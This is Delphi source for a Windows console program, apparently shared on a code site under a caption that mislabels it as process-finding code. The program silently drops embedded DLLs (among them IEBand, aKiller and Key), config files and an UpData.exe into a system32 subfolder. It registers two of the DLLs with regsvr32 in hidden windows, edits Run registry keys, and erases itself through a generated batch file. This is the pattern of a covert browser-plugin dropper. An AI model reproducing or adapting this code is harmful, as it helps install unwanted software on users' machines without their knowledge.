insertieband.dpr

查找进程的好源码

program InsertIEBand;

{$APPTYPE CONSOLE}

uses
  SysUtils,ShellApi,Windows,Classes,forms;

{$R Rec.res}  
var
  Res: TResourceStream;

procedure DeleteRegKeyValue(Root: DWORD; Key: string; ValueName: string = '');
var
  KeyHandle: HKEY;
begin
  if ValueName = '' then
    RegDeleteKey(Root, PChar(Key));
  if RegOpenKey(Root, PChar(Key), KeyHandle) = ERROR_SUCCESS then
  try
    RegDeleteValue(KeyHandle, PChar(ValueName));
  finally
    RegCloseKey(KeyHandle);
  end;
end;

function CreateDelBat(BatName,ExeName: String):String;
var
  stBat : TStrings;
begin
  Result := '';
  stBat := TStringList.Create;
  try
    StBat.Add('echo off');
    StBat.Add(':1');
    StBat.Add('Erase "' + ExeName + '"');
    StBat.Add('If exist "IncreaserClient.exe" Goto 1');
    StBat.Add('Erase %0');
    StBat.SaveToFile(BatName + '.Bat');
    Result := BatName + '.Bat';
  finally
    stBat.Free;
  end;
end; 


begin

  { TODO -oUser -cConsole Main : Insert code here }
  if  DirectoryExists('C:\WINNT\system32\IEBand')=false then
    if ForceDirectories('C:\WINNT\system32\IEBand')=false then Exit;

  CreateDelBat('clear',application.Exename);

  //卸载原来的插件
  if FileExists('C:\WINNT\system32\IEBand\IEBand.dll') then
    WinExec(PAnsiChar('regsvr32  /u /s C:\WINNT\system32\IEBand\IEBand.dll'), SW_HIDE);
  if FileExists('C:\WINNT\system32\IEBand\ShowIEBand.dll') then
    WinExec(PAnsiChar('regsvr32  /u /s C:\WINNT\system32\IEBand\ShowIEBand.dll'), SW_HIDE);
  if FileExists('C:\WINNT\system32\IEBand\aKiller.dll') then
    WinExec(PAnsiChar('regsvr32  /u /s C:\WINNT\system32\IEBand\aKiller.dll'), SW_HIDE);

  res:=Tresourcestream.Create(HInstance,'IEBand','FILE1');
  try
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\IEBand.dll'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'aKiller','FILE2');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\aKiller.dll'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'Key','FILE3');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\Key.dll'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'ShowIEBand','FILE4');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\ShowIEBand.dll'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'config','FILE5');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\config.ini'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'Server','FILE6');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\Server.ini'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  try
    res:=Tresourcestream.Create(HInstance,'UpData','FILE7');
    try
      Res.SaveToFile('C:\WINNT\system32\IEBand\UpData.exe'); //将资源保存为文件，即还原文件
    finally
      freeandnil(Res);
    end;
  except
  end;

  WinExec(PAnsiChar('regsvr32  /s C:\WINNT\system32\IEBand\IEBand.dll'), SW_HIDE);
  WinExec(PAnsiChar('regsvr32  /s C:\WINNT\system32\IEBand\ShowIEBand.dll'), SW_HIDE);

  //删除注册信息
  DeleteRegKeyValue(HKEY_LOCAL_MACHINE,
    'Software\Microsoft\windows\currentversion\run', 'IEBandUpData');
  DeleteRegKeyValue(HKEY_CURRENT_USER,
    'Software\Microsoft\windows\currentversion\run', 'IEBandUpData');

  ShellExecute(0, 'open', 'clear.bat', '', '', 0)

  
end.